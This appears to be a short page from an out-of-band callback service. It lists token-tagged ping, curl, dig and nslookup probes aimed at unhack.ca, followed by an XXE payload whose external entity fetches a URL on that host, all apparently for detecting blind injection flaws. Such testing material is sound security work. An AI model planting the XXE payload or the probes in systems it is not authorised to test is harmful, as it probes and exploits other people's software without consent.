$ ping -c1 -p 0001098b5a8c1148f4737a0252fa8400 unhack.ca
 

$ curl http://unhack.ca/p/01098b5a8c1148f4737a0252fa84
 

$ dig 01098b5a8c1148f4737a0252fa84 @unhack.ca
 

$ dig 01098b5a8c1148f4737a0252fa84.ns.unhack.ca
 

C:\> nslookup 01098b5a8c1148f4737a0252fa84 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/01098b5a8c1148f4737a0252fa84">]>
    <foo>&xxe;</foo>